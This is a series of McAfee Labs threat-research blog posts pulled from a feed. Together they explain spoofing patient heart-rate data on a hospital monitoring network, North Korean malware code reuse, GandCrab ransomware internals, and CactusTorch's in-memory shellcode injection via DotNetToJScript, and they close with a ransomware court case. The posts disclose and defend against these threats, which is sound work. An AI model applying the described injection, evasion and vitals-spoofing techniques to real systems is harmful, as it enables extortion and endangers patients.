Next the attacker from the virtual machine at address 126.4.153.153 sends false information to the central monitoring station, still at address 126.1.1.1. In this example, offset 0x71 has been changed to 0x78, or 120. (The attacker could choose any value; the following demo videos use the heartbeat value 180 because it is more alarming.) Also notice the IP address stored in the payload, which we discovered during the reconnaissance phase. It still indicates this data is coming from the original patient monitor address, which is different from the IP address on the packet’s IP header. Due to this implementation, there is no need for the attacker to spoof their IP address for the attack to be successful.

Two videos show this modification happening in real time:

 

Impact of real-time modification

Although the monitor in the patient’s room is not directly affected, real-time modification is impactful because medical professionals use these central stations to make critical decisions on a large number of patients—instead of visiting each room individually. As long as the changes are believable, they will not always be verified.

Dr. Nordeck explains the impact of this attack: “Fictitious cardiac rhythms, even intermittent, could lead to extended hospitalization, additional testing, and side effects from medications prescribed to control heart rhythm and/or prevent clots. The hospital could also suffer resource consumption.” Dr. Nordeck explained that short changes to a heartbeat would generally trigger the nurse or technician monitoring the central station to page a doctor. The doctor would typically ask for a printout from the central station to review the rhythm. The doctor might also order an additional test, such as an EKG, to verify the rhythm. An EKG, however, would not likely capture an abnormal rhythm if it is intermittent, but the test might reveal an underlying cause for intermittent arrythmia. Should the rhythm recur intermittently throughout the day, the doctor might make treatment decisions based on this erroneous printout.

The American Heart Association and American College of Cardiology publish guidelines that hospitals are to follow, including for “intermittent cardiac rhythms,” seen in this chart:

A decision tree for treating an intermittent heart rate. Source: American Heart Association.

The first decision point in this tree asks if the patient is hemodynamically stable (whether the blood pressure is normal). This attack does not affect the bedside monitor. A nurse might retake the patient’s blood pressure, which would be normal. The next decision point following the “Yes” path is a diagnosis of focal atrial tachycardia. Regardless of the medical terms and answers, the patient is issued medication. In the case of a network attack, this is medication the patient does not need and could cause harm.

Conclusion

This research from McAfee’s Advanced Threat Research team shows it is possible to emulate and modify a patient’s vital signs in real time on a medical network using a patient monitor and central monitoring station. For this attack to be viable, an attacker would need to be on the same network as the devices and have knowledge of the networking protocol. Any modifications made to patient data would need to be believable to medical professionals for there to be any impact.

During our research we did not modify the patient monitor, which always showed the true data; but we have proven the impact of an attack can be meaningful. Such an attack could result in patients receiving the wrong medications, additional testing, and extended hospital stays—any of which could incur unnecessary expenses.

Both product vendors and medical facilities can take measures to drastically reduce the threat of this type of attack. Vendors can encrypt network traffic between the devices and add authentication. These two steps would drastically increase the difficulty of this type of attack. Vendors also typically recommend that medical equipment is run on a completely isolated network with very strict network-access controls. If medical facilities follow these recommendations, attackers would require physical access to the network, greatly helping to reduce the attack surface.

One goal of the McAfee Advanced Threat Research team is to identify and illuminate a broad spectrum of threats in today’s complex and constantly evolving landscape. Through responsible disclosure we aim to assist and encourage the industry toward a more comprehensive security posture. As part of our policy, we reported this research to the vendor whose products we tested and will continue to work with other vendors to help secure their products.

The post 80 to 0 in Under 5 Seconds: Falsifying a Medical Patient’s Vitals appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/80-to-0-in-under-5-seconds-falsifying-a-medical-patients-vitals/feed/ 0
Examining Code Reuse Reveals Undiscovered Links Among North Korea’s Malware Families https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/#respond Thu, 09 Aug 2018 13:00:14 +0000 https://securingtomorrow.mcafee.com/?p=90674 Attacks from the online groups Lazarus, Silent Chollima, Group 123, Hidden Cobra, DarkSeoul, Blockbuster, Operation Troy, and 10 Days of Rain are believed to have come from North Korea. But how can we know with certainty?

The post Examining Code Reuse Reveals Undiscovered Links Among North Korea’s Malware Families appeared first on McAfee Blogs.

]]>
This research is a joint effort by Jay Rosenberg, senior security researcher at Intezer, and Christiaan Beek, lead scientist and senior principal engineer at McAfee. Intezer has also posted this story. 

Attacks from the online groups Lazarus, Silent Chollima, Group 123, Hidden Cobra, DarkSeoul, Blockbuster, Operation Troy, and 10 Days of Rain are believed to have come from North Korea. But how can we know with certainty? And what connection does a DDoS and disk-wiping attack from July 4, 2009, have with WannaCry, one of the largest cyberattacks in the history of the cyber sphere?  

From the Mydoom variant Brambul to the more recent Fallchill, WannaCry, and the targeting of cryptocurrency exchanges, we see a distinct timeline of attacks beginning from the moment North Korea entered the world stage as a significant threat actor.

Bad actors have a tendency to unwittingly leave fingerprints on their attacks, allowing researchers to connect the dots between them. North Korean actors have left many of these clues in their wake and throughout the evolution of their malware arsenal.

This post reflects months of research; in it we will highlight our code analysis illustrating key similarities between samples attributed to the Democratic People’s Republic of Korea, a shared networking infrastructure, and other revealing data hidden within the binaries. Together these puzzle pieces show the connections between the many attacks attributed to North Korea and categorize different tools used by specific teams of their cyber army.

Valuable context 

This article is too short to dig deeply into the history, politics, and economic changes of recent years. Nonetheless, we must highlight some events to put past and present cyber events into perspective.

The DPRK, like any country, wants to be as self-sufficient and independent as possible. However, for products such as oil, food, and foreign currency for trading, the country lacks resources and has to find ways of acquiring them. What can a nation do when legal international economics are denied? To survive, it must gain foreign currency for trading. One of the oldest ways to do this is to join the worlds of gambling (casinos) and drugs. In 2005, the United States wanted to shut down North Korean enterprises involved in illegal operations. They investigated a couple of banks in Asia that seemed to have ties with North Korea and operated as money laundering sites. One bank in particular is controlled by a billionaire gambling mogul who started a casino in Pyongyang and has close ties to Pyongyang. That bank, based in Macau, came back into the picture during an attack on the SWIFT financial system of a bank in Vietnam in 2015. The Macau bank was listed twice in the malware’s code as a recipient of stolen funds:

Figure 1: SWIFT code in malware.

Code reuse

There are many reasons to reuse malware code, which is very common in the world of cybercrime. If we take an average ransomware campaign, for example, once the campaign becomes less successful, actors often change some of basics such as using a different packer to bypass defenses. With targeted campaigns, an adversary must keep its tools undetected for as long as possible. By identifying reused code, we gain valuable insights about the “ancestral relations” to known threat actors or other campaigns. Our research was heavily focused on this type of analysis.

In our years of investigating cyber threats, we have seen the DPRK conduct multiple cyber campaigns. In North Korea, hackers’ skills determine which cyber units they work for. We are aware two major focuses of DPRK campaigns: one to raise money, and one to pursue nationalist aims. The first workforce gathers money for the nation, even if that means committing cybercrime to hack into financial institutions, hijack gambling sessions, or sell pirated and cracked software. Unit 180 is responsible for illegally gaining foreign currency using hacking techniques. The second workforce operates larger campaigns motivated by nationalism, gathering intelligence from other nations, and in some cases disrupting rival states and military targets. Most of these actions are executed by Unit 121.

We focused in our research on the larger-scale nationalism-motivated campaigns, in which we discovered many overlaps in code reuse. We are highly confident that nation-state–sponsored groups were active in these efforts.

Timeline 

We created a timeline of most of the malware samples and noticeable campaigns that we examined. We used primarily open-source blogs and papers to build this timeline and used the malware artifacts as a starting point of our research.

 

Figure 2: Timeline of malware and campaigns.

Analysis and observations

Similarities

During our research, we found many malware family names that are believed to be associated with North Korea’s cyber operations. To better understand this threat actor and the similarities between the campaigns, we have used Intezer’s code similarity detection engine to plot the links between a vast number of these malware families.

The following graph presents a high-level overview of these relations. Each node represents a malware family or a hacking tool (“Brambul,” “Fallchill,” etc.) and each line presents a code similarity between two families. A thicker line correlates to a stronger similarity. In defining similarities, we take into account only unique code connections, and disregard common code or libraries. This definition holds both for this graph and our entire research.

 

Figure 3: Code similarities between North Korean–associated malware families.

We can easily see a significant amount of code similarities between almost every one of the attacks associated with North Korea. Our research included thousands of samples, mostly unclassified or uncategorized. This graph was plotted using a data set of only several hundred samples, so there might be more connections than displayed here. 

Deep technical analysis 

During our research, we came across many code similarities between North Korean binaries that had not been seen before. Some of these attacks and malware have not been linked to one another, at least publicly. We will showcase four examples of reused code that has been seen only in malware attributed to North Korea.

  1. Common SMB module

The first code example appeared in the server message block (SMB) module of WannaCry in 2017, Mydoom in 2009, Joanap, and DeltaAlfa. Further shared code across these families is an AES library from CodeProject. These attacks have been attributed to Lazarus; that means the group has reused code from at least 2009 to 2017.

Figure 4: Code overlap of a Mydoom sample.

In the next screenshots we highlight the exact code block that reflects the SMB module we found in campaigns other than WannaCry and Mydoom.

Figure 5: An SMB module common to several attacks.

A lot has been written about WannaCry. As we analyze the code against our databases, we can draw the following overview:

Figure 6: WannaCry code comparison overview.

For our research we compared the three major variants of WannaCry. An early release, called a beta, from February 2017, one from April, and the infamous one that hit the world in May.

  1. Common file mapping

The second example demonstrates code responsible for mapping a file and using the XOR key 0xDEADBEEF on the first four bytes of the file. This code has appeared in the malware families NavRAT and Gold Dragon, plus a certain DLL from the South Korean gambling hacking campaign. These three RATs are thought to be affiliated with North Korea’s Group 123. NavRAT and the gambling DLL share more code, making them closer variants.

Figure 7: Code overlap in a NavRAT sample.

Figure 8: File-mapping code 

  1. Unique net share

The third example, responsible for launching a cmd.exe with a net share, has been seen in 2009’s Brambul, also known as SierraBravo, as well as KorDllBot in 2011. These malware families are also attributed to the Lazarus group.

Figure 9: Code overlap of a SierraBravo (Brambul) sample.

Figure 10: A code block reused in the malware families Brambul/SierraBravo and KorDllBot.

  1. Operation Dark Hotel

In 2014, Kaspersky reported a more than seven-year campaign against Asian hotels, in which the adversaries used an arsenal of tools to break into the computers of hotel visitors. Zero days and control servers were used, along with the malware family Tapaoux, or DarkHotel, according to the report.

While we examined the DPRK samples, we noticed a hit with the Dark Hotel samples in our collections. By going through the code, we noticed several pieces of code overlap and reuse, for example, with samples from Operation Troy.

Figure 11: Code overlap in a Dark Hotel sample.

Identifying a group

By applying what we learned from our comparisons and code-block identifications, we uncovered possible new links between malware families and the groups using them.

With the different pieces of malware we have analyzed, we can illustrate the code reuse and sharing between the groups known to be affiliated with North Korea.

 

Figure 12: Groups and families linked by code reuse.

The malware attributed to the group Lazarus has code connections that link many of the malware families spotted over the years. Lazarus is a collective name for many DPRK cyber operations, and we clearly see links between malware families used in different campaigns.

The malware (NavRAT, gambling, and Gold Dragon) possibly created by Group 123 are connected to each other but are separate from those used by Lazarus. Although these are different units focusing on different areas, there seems to be a parallel structure in which they collaborate during certain campaigns.

MITRE ATT&CK

From our research of these malware samples, we can identify the following techniques used by the malware families:

When we zoom in on the Discovery category in the MITRE model, for example, we notice that the techniques are typical for first-stage dropper malware. The adversary drops these samples on victims’ machines and collects information on where they landed in the victims’ networks and which user/access rights they gained.

In 2018, we saw examples of campaigns in which attackers used PowerShell to download and execute these droppers. Once information has been sent to a control server, the adversary determines the next steps, which often include installing a remote access tool to enable lateral movement on the network and pursue the goals of the campaign.

Final words

Security vendors and researchers often use different names when speaking about the same malware, group, or attack. This habit makes it challenging to group all the malware and campaigns. By taking a scientific approach, such as looking for code reuse, we can categorize our findings. We believe our research will help the security community organize the current “mess” we face in relation to North Korean malware and campaigns.

We clearly saw a lot of code reuse over the many years of cyber campaigns we examined. This indicates the North Koreans have groups with different skills and tools that execute their focused parts of cyber operations while also working in parallel when large campaigns require a mix of skills and tools.

We found our months of research, data gathering, and analysis very satisfying. By combining our skills, data, and technology, we were able to draw connections and reveal links that we had not seen before. The cybersecurity industry would greatly benefit from more collaboration and sharing of information, and we hope that this effort between McAfee and Intezer will inspire the community to work together more often.

The authors thank Costin Raiu for providing them with samples they did not have in their collections.

Sources

Glenn Simpson, Gordon Fairclough, and Jay Solomon, “U.S. Probes Banks’ North Korea Ties.” Wall Street Journal, last updated September 8, 2005.

Christiaan Beek, “Attacks on SWIFT Banking system benefit from insider knowledge.” https://securingtomorrow.mcafee.com/mcafee-labs/attacks-swift-banking-system-benefit-insider-knowledge/

Atif Mushtaq, “DDOS Madness Continued…” https://www.fireeye.com/blog/threat-research/2009/07/ddos-madness-climax.html

Ryan Sherstobitoff and Jessica Saavedra-Morales, “Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems.” https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/ 

Alex Drozhzhin, “Darkhotel: a spy campaign in luxury Asian hotels.” https://www.kaspersky.com/blog/darkhotel-apt/6613/ 

Warren Mercer, Paul Rascagneres, and Jungsoo An, “NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea.” https://blog.talosintelligence.com/2018/05/navrat.html 

Sergei Shevchenko and Adrian Nish, “Cyber Heist Attribution.https://baesystemsai.blogspot.com/2016/05/cyber-heist-attribution.html

Mydoom code reuse report. https://analyze.intezer.com/#/analyses/113ba80f-1680-43d7-b287-cc62f3740fad

NavRAT code reuse report. https://analyze.intezer.com/#/analyses/4f19fd5a-a898-4fdf-96c9-d3a4aad817cb

SierraBravo code reuse report. https://analyze.intezer.com/#/analyses/8da8104e-56e4-49fd-ba24-82978bc1610c

Dark Hotel code reuse report. https://analyze.intezer.com/#/analyses/c034e0fe-7825-4f6d-b092-7c5ee693aff4

Kang Jang-ho, “A foreign currency earned with a virtual currency … What is the life of a North Korean hacker?” http://m.mtn.co.kr/news/news_view.php?mmn_idx=2018062517065863930#_enliple

Awesome work by the team responsible for the “Operation Blockbuster” report. https://www.operationblockbuster.com/resources/

The post Examining Code Reuse Reveals Undiscovered Links Among North Korea’s Malware Families appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/feed/ 0
GandCrab Ransomware Puts the Pinch on Victims https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/gandcrab-ransomware-puts-the-pinch-on-victims/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/gandcrab-ransomware-puts-the-pinch-on-victims/#respond Tue, 31 Jul 2018 21:43:15 +0000 https://securingtomorrow.mcafee.com/?p=90583 Update: On August 9 we added our analysis of Versions 4.2.1 and 4.3.  The GandCrab ransomware first appeared in January and has been updated rapidly during its short life. It is the leading ransomware threat. The McAfee Advanced Threat Research team has reverse engineered Versions 4.0 through 4.3 of the malware. The first versions (1.0 […]

The post GandCrab Ransomware Puts the Pinch on Victims appeared first on McAfee Blogs.

]]>
Update: On August 9 we added our analysis of Versions 4.2.1 and 4.3. 

The GandCrab ransomware first appeared in January and has been updated rapidly during its short life. It is the leading ransomware threat. The McAfee Advanced Threat Research team has reverse engineered Versions 4.0 through 4.3 of the malware.

The first versions (1.0 and 1.1) of this malware had a bug that left the keys in memory because the author did not correctly use the flags in a crypto function. One antimalware company released a free decryption tool, posted on NoMoreRansom.org, with help of Romanian police and Europol.

The hack was confirmed by the malware author in a Russian forum:

Figure 1. Confirmation by the author of the hack of GandCrab servers.

The text apologizes to partners for the hack and temporarily shuts down the program. It promises to release an improved version within a few days.

The second version of GandCrab quickly appeared and improved the malware server’s security against future counterattacks. The first versions of the ransomware had a list of file extensions to encrypt, but the second and later versions have replaced this list with an exclusion list. All files except those on the list were encrypted.

Old versions of the malware used RSA and AES to encrypt the files, and communicated with a control server to send the RSA keys locked with an RC4 algorithm.

The GandCrab author has moved quickly to improve the code and has added comments to mock the security community, law agencies, and the NoMoreRansom organization. The malware is not professionally developed and usually has bugs (even in Version 4.3), but the speed of changes is impressive and increases the difficulty of combating it.

Entry vector

GandCrab uses several entry vectors:

  • Remote desktop connections with weak security or bought in underground forums
  • Phishing emails with links or attachments
  • Trojanized legitimate programs containing the malware, or downloading and launching it
  • Exploits kits such as RigEK and others

The goal of GandCrab, as with other ransomware, is to encrypt all or many files on an infected system and insist on payment to unlock them. The developer requires payment in cryptocurrency, primarily DASH, because it complex to track, or Bitcoin.

The malware is usually but not always packed. We have seen variants in .exe format (the primary form) along with DLLs. GandCrab is effectively ransomware as a service; its operators can choose which version they want.

Version 4.0

The most important change in Version 4.0 is in the algorithm used to encrypt files. Earlier versions used RSA and AES; the latest versions use Salsa20. The main reason is for speed. RSA is a powerful but slow algorithm. Salsa20 is quick and the implementation is small.

The ransomware checks the language of the system and will not drop the malicious payload if the infected machine operates in Russian or certain other former Soviet languages:

Figure 2. Checking the language of the infected system.

GandCrab encrypts any file that does not appear on the following file-extension exclusion list:

The ransomware does not encrypt files in these folders:

GandCrab leaves these files unencrypted:

The ransomware generates a pair of RSA keys before encrypting any file. The public key encrypts the Salsa20 key and random initialization vector (IV, or nonce)) generated later for each file.

The encryption procedure generates a random Salsa20 key and a random IV for each file, encrypts the file with them, and encrypts this key and IV with a pair of RSA keys (with the public RSA key created at the beginning). The private key remains encrypted in the registry using another Salsa20 key and IV encrypted with an RSA public key embedded in the malware.

After encryption, the file key and IV are appended to the contents of the file in a new field of 8 bytes, increasing the original file size.

This method makes GandCrab very strong ransomware because without the private key to the embedded public key, it is not possible to decrypt the files. Without the new RSA private key, we cannot decrypt the Salsa20 key and IV that are appended to the file.

Finally, the ransomware deletes all shadow volumes on the infected machine and deletes itself.

Version 4.1

This version retains the Salsa20 algorithm, fixes some bugs, and adds a new function. This function, in a random procedure from a big list of domains, creates a final path and sends the encrypted information gathered from the infected machine. We do not know why the malware does this; the random procedure usually creates paths to remote sites that do not exist.

For example, one sample of this version has the following hardcoded list of encrypted domains. (This is only a small part of this list.)

The ransomware selects one domain from the list and creates a random path with one of these words:

Later it randomly chooses another word to add to the URL it creates:

Afterward it makes a file name, randomly choosing three or four combinations from the following list:

Finally the malware concatenates the filename with a randomly chosen extension:

At this point, the malware sends the encrypted information using POST to the newly generated URL for all domains in the embedded list, repeating the process of generating a path and name for each domain.

Another important change in this version is the attempt to obfuscate the calls to functions such as VirtualAlloc and VirtualFree.

Figure 3. New functions to obfuscate the code.

Version 4.1.2

This version has appeared with some variants. Two security companies revealed a vaccine to prevent infections by previous versions. The vaccine involved making a special file in a folder with a special name before the ransomware infects the system. If this file exists, the ransomware finishes without dropping the payload.

The file gets its name from the serial number of the Windows logic unit hard disk value. The malware makes a simple calculation with this name and creates it in the %appdata% or %program files% folder (based in the OS) with the extension .lock.

Figure 4. Creating the special file.

The GandCrab author reacted quickly, changing the operation to make this value unique and use the Salsa20 algorithm with an embedded key and IV with text referring to these companies. The text and the value calculated were used to make the filename; the extension remained .lock.

One of the security companies responded by making a free tool to make this file available for all users, but within hours the author released another Version 4.1.2 with the text changed. The malware no longer creates any file, instead making a mutex object with this special name. The mutex remains and keeps the .lock extension in the name.


Figure 5. Creating a special mutex instead of a special lock file.

The vaccine does not work with the second Version 4.1.2 and Version 4.2, but it does work with previous versions.

Version 4.2

This version has code to detect virtual machines and stop running the ransomware within them.

It checks the number of remote units, the size of the ransomware name running compared with certain sizes, installs a VectoredExceptionHandler, and checks for VMware virtual machines using the old trick of the virtual port in a little encrypted shellcode:

Figure 6. Detecting VMware.

The malware calculates the free space of the main Windows installation logic unit and finally calculates a value.

If this value is correct for the ransomware, it runs normally. If the value is less than 0x1E, it waits one hour to start the normal process. (It blocks automatic systems that do not have “sleep” prepared.) If the value is greater than 0x1E, the ransomware finishes its execution.

Figure 7. Checking for virtual machines and choosing a path.

Version 4.2.1

This version appeared August 1. The change from the previous version is a text message to the company that made the vaccine along with a link to a source code zero-day exploit that attacks one of this company’s products. The code is a Visual Studio project and can be easily recompiled. This code has folders in Russian after loading the project in Visual Studio.

Version 4.3

This version also appeared August 1. This version has several changes from previous versions.

  • It removes the code to detect virtual machines and a few other odd things in Version 4.2. This code had some failure points; some virtual machines could not be detected.
  • It implemented an exploit against one product of the antivirus company that made the vaccine against Version 4.0 through the first release of Version 4.1.2. This code appears after the malware encrypts files and before it deletes itself.

Figure 8. Running an exploit against a product of the company that made a vaccine.

  • New code in some functions makes static analysis with Interactive Disassembler more complex. This is an easy but effective trick: The ransomware makes a delta call (which puts the address of the delta offset at the top of the stack) and adds 0x11 (the size of the special code, meaning the malware author is using a macro) to the value in the ESP register. ESP now points to an address after the block of the special code and makes a jump in the middle of the opcodes of this block. This technique makes it appear like another instruction, in this case “pop eax,” which extracts the value after adding 0x11 from the top of the stack (ESP register). The code later makes an unconditional jump to this address in EAX. This way the ransomware follows its normal code flow.

Figure 9. New code to make static analysis more difficult.

Conclusion

GandCrab is the leading ransomware threat for any person or enterprise. The author uses many ways to install it—including exploits kits, phishing mails, Trojans, and fake programs. The developer actively updates and improves the code to make analysis more difficult and to detect virtual machines. The code is not professionally written and continues to suffer from bugs, yet the product is well promoted in underground forums and has increased in value.

McAfee detects this threat as Ran-GandCrab4 in Versions 4.0 and later. Previous ones are also detected.

Indicators of compromise

MITRE ATT&CK

This sample uses the following MITRE ATT&CK techniques:

  • File deletion
  • System information discovery
  • Execution through API
  • Execution through WMIC
  • Application process discovery: to detect antimalware and security products as well as normal programs
  • Query registry: to get information about keys that the malware needs make or read
  • Modify registry
  • File and directory discovery: to search for files to encrypt
  • Encrypt files
  • Process discovery: enumerating all processes on the endpoint to kill some special ones
  • Create files
  • Elevation of privileges

Hashes

  • 9a80f1866450f2f10fa69b1eb8747c344d6ef038468014c59cc50497f9e4675d – version 4.0
  • d9466be5c387eb2fbf619a8cd0922b167ea7fa06b63f13cd330ca974cae1d513 – version 4.0
  • 43b57d2b16c44041916f3b0562712d5dca4f8a42bc00f00a023b4a0788d18276 – version 4.0
  • 786e3c693fcdf55466fd6e5446de7cfeb58a4311442e0bc99ce0b0985c77b45d – version 4.0
  • f5e74d939a5b329dddc94b75bd770d11c8f9cc3a640dccd8dff765b6997809f2 – version 4.1
  • 8ecbfe6f52ae98b5c9e406459804c4ba7f110e71716ebf05015a3a99c995baa1 – version 4.1
  • e454123d852e6a40eed1f2552e1a1ad3c00991541d812fbf24b70611bd1ec40a – version 4.1
  • 0aef79fac6331f9eca49e711291ac116e7f6fbaeb5a1f3eb7fea9e2e4ec6a608 – version 4.1
  • 3277c1649972ab5b43ae9e87087b70ea4825956bfdddd1034f7b0680e6d46efa – version 4.1
  • a92af825bd95b6514f22dea08a4eb6d3491cbad45e69a5b9653b0148ee9f9832 – version 4.1
  • ce093ffa19f020a2b73719f653b5e0423df28ef1d59035d55e99154a85c5c668 – version 4.1.2 (first)
  • a1aae5ae7a3722b83dc1c9b0831c973641b246808de4f3670f2fd916cf498d38 – version 4.1.2 (second)
  • 3b0096d6798b1887cffa1288583e93f70e656270119087ceb2f832b69b89260a – version 4.2
  • e8e948e36fed93061062406693d1b2c402dd8e5788506bfbb50dbd86a5540829 – version 4.2

Domain

http://gandcrabmfe6mnef.onion

The post GandCrab Ransomware Puts the Pinch on Victims appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/gandcrab-ransomware-puts-the-pinch-on-victims/feed/ 0
CactusTorch Fileless Threat Abuses .NET to Infect Victims https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cactustorch-fileless-threat-abuses-net-to-infect-victims/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cactustorch-fileless-threat-abuses-net-to-infect-victims/#respond Thu, 26 Jul 2018 13:00:32 +0000 https://securingtomorrow.mcafee.com/?p=90489 McAfee Labs has noticed a significant shift by some actors toward using trusted Windows executables, rather than external malware, to attack systems. One of the most popular techniques is a “fileless” attack. Because these attacks are launched through reputable executables, they are hard to detect. Both consumers and corporate users can fall victim to this […]

The post CactusTorch Fileless Threat Abuses .NET to Infect Victims appeared first on McAfee Blogs.

]]>
McAfee Labs has noticed a significant shift by some actors toward using trusted Windows executables, rather than external malware, to attack systems. One of the most popular techniques is a “fileless” attack. Because these attacks are launched through reputable executables, they are hard to detect. Both consumers and corporate users can fall victim to this threat. In corporate environments, attackers use this vector to move laterally through the network.

One fileless threat, CactusTorch, uses the DotNetToJScript technique, which loads and executes malicious .NET assemblies straight from memory. These assemblies are the smallest unit of deployment of an application, such as a .dll or .exe. As with other fileless attack techniques, DotNetToJScript does not write any part of the malicious .NET assembly on a computer’s hard drive; hence traditional file scanners fail to detect these attacks.

In 2018 we have seen rapid growth in the use of CactusTorch, which can execute custom shellcode on Windows systems. The following chart shows the rise of CactusTorch variants in the wild.

Source: McAfee Labs.

The DotNetToJScript tool kit

Compiling the DotNetToJScript tool gives us the .NET executable DotNetToJScript.exe, which accepts the path of a .NET assembly and outputs a JavaScript file.

 

Figure 1: Using DotNetToJScript.exe to create a malicious JavaScript file.

The DotNetToJScript tool kit is never shipped with malware. The only component created is the output JavaScript file, which is executed on the target system by the script host (wscript.exe). For our analysis, we ran some basic deobfuscation and found CactusTorch, which had been hidden by some online tools:

Figure 2: CactusTorch code.

Before we dive into this code, we need to understand .NET and its COM exposure. When we install the .NET framework on any system, several .NET libraries are exposed via Microsoft’s Component Object Model (COM).

Figure 3: COM exposing the .NET library System.Security.Cryptography.FromBase64Transform.

If we look at the exposed interfaces, we can see IDispatch, which allows the COM object to be accessed from the script host or a browser.

Figure 4: Exposed interfaces in a .NET library.

To execute malicious code using the DotNetToJScript vector, an attack uses the following COM objects:

  • Text.ASCIIEncoding
  • Security.Cryptography.FromBase64Transform
  • IO.MemoryStream
  • Runtime.Serialization.Formatters.Binary.BinaryFormatter
  • Collections.ArrayList

Now, let’s return to the JavaScript code we saw in Figure 2. The function base64ToStream()converts the Base64-encoded serialized object to a stream. Before we can fully understand the logic behind the JavaScript code, we need to examine the functionality of the Base64-encoded serialized object. Thus our next step is to reverse engineer the embedded serialized object and recreate the class definition. Once that was done, the class definition looks like the following code, which is responsible for executing the malicious shellcode. (Special thanks to Casey Smith, @subTee, for important pointers regarding this step).

Figure 5: The class definition of the embedded serialized object.

Now we have the open-source component of CactusTorch, and the JavaScript code in Figure 2 makes sense. We can see how the malicious shellcode is executed on the targeted system. In Figure 2, line 29 the code invokes the flame(x,x) function with two arguments: the executable to launch and the shellcode.

The .NET assembly embedded in the CactusTorch script runs the following steps to execute the malicious shellcode:

  • Launches a new suspended process using CreateProcessA (to host the shellcode)
  • Allocates some memory with VirtualAllocEx() with an EXECUTE_READWRITE privilege
  • Writes the shellcode in the target’s process memory with WriteProcessMemory()
  • Creates a new thread to execute the shellcode using CreateRemoteThread()

Conclusion

Fileless malware takes advantage of the trust factor between security software and genuine, signed Windows applications. Because this type of attack is launched through reputable, trusted executables, these attacks are hard to detect. McAfee Endpoint Security (ENS) and Host Intrusion Prevention System (HIPS) customers are protected from this class of fileless attack through Signature ID 6118.

 

Acknowledgements

The author thanks the following colleagues for their help with this analysis:

  • Abhishek Karnik
  • Deepak Setty
  • Oliver Devane
  • Shruti Suman

References

MITRE ATT&CK techniques

  • Drive-by compromise
  • Scripting using Windows Script Host
  • Decode information
  • Command-line interface
  • Process injection

Hashes

  • 4CF9863C8D60F7A977E9DBE4DB270819
  • 5EEFBB10D0169D586640DA8C42DD54BE
  • 69A2B582ED453A90CC06345886F03833
  • 74172E8B1F9B7F9DB600C57E07368B8F
  • 86C47B9E0F43150FEFF5968CF4882EBB
  • 89F87F60137E9081F40E7D9AD5FA8DEF
  • 8A33BF71E8740BDDE23425BBC6259D8F
  • 8DCCC9539A499D375A069131F3E06610
  • 924B7FB00E930082CE5B96835FDE69A1
  • B60E085150D53FCE271CD481435C6E1E
  • BC7923B43D4C83D077153202D84EA603
  • C1A7315FB68043277EE57BDBD2950503
  • D2095F2C1D8C25AF2C2C7AF7F4DD4908
  • D5A07C27A8BBCCD0234C81D7B1843FD4
  • E0573E624953A403A2335EEC7FFB1D83
  • E1677A25A047097E679676A459C63A42
  • F0BC5DFD755B7765537B6A934CA6DBDC
  • F6526E6B943A6C17A2CC96DD122B211E
  • CDB73CC7D00A2ABB42A76F7DFABA94E1
  • D4EB24F9EB1244A5BEAA19CF69434127

 

The post CactusTorch Fileless Threat Abuses .NET to Infect Victims appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cactustorch-fileless-threat-abuses-net-to-infect-victims/feed/ 0
What Drives a Ransomware Criminal? CoinVault Developers Convicted in Dutch Court https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/what-drives-a-ransomware-criminal-coinvault-developers-convicted-in-dutch-court/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/what-drives-a-ransomware-criminal-coinvault-developers-convicted-in-dutch-court/#respond Fri, 13 Jul 2018 22:52:08 +0000 https://securingtomorrow.mcafee.com/?p=90372 How often do we get a chance to learn what goes on in the minds of cybercriminals? Two members of McAfee’s Advanced Threat Research team recently did, as they attended a court case against two cybercriminal brothers. The brothers, Dennis and Melvin, faced a judge in Rotterdam, in the Netherlands. This case was one of […]

The post What Drives a Ransomware Criminal? CoinVault Developers Convicted in Dutch Court appeared first on McAfee Blogs.

]]>
How often do we get a chance to learn what goes on in the minds of cybercriminals? Two members of McAfee’s Advanced Threat Research team recently did, as they attended a court case against two cybercriminal brothers.

The brothers, Dennis and Melvin, faced a judge in Rotterdam, in the Netherlands. This case was one of the first in the world in which ransomware developers appeared in court and were convicted for creating and spreading ransomware.

They were responsible for creating the ransomware families CoinVault and BitCryptor. CoinVault, the better known of the two, made its appearance in late 2014. The technically skilled programmers had examined the source code of CryptoLocker, the notorious ransomware family that first struck in 2013. The brothers were not very impressed and agreed that they could do a better job. What might have started out as a fun technical challenge turned into a criminal business.

The CoinVault and BitCryptor campaigns were not as widespread as CTB-Locker, CryptoWall, or Locky ransomware campaigns. Nor did they profit as much from it, but this case is nevertheless uncommon. It is rare that the developers of ransomware are caught, let alone confess their crimes. This case gives us an opportunity to understand what drove them down a path to cybercrime.

The challenge

Why would someone write malicious code and infect thousands of people? The judge asked the brothers the same question. Their response was “Because it was a technical challenge.” “But didn’t you realize you were dealing with people?” the judge responded. Both brothers answered that they did not; they were dealing with computers and never met their victims face to face.

The judge and prosecutor did not accept their explanation. CoinVault had a built-in helpdesk function to directly communicate with their victims, thus registering their pleas. The brothers standard reaction was merciless: “Just pay the money; otherwise we won’t decrypt.” According to the prosecutor, they had plenty of opportunities to see the consequences of their actions but choose to ignore them for money.

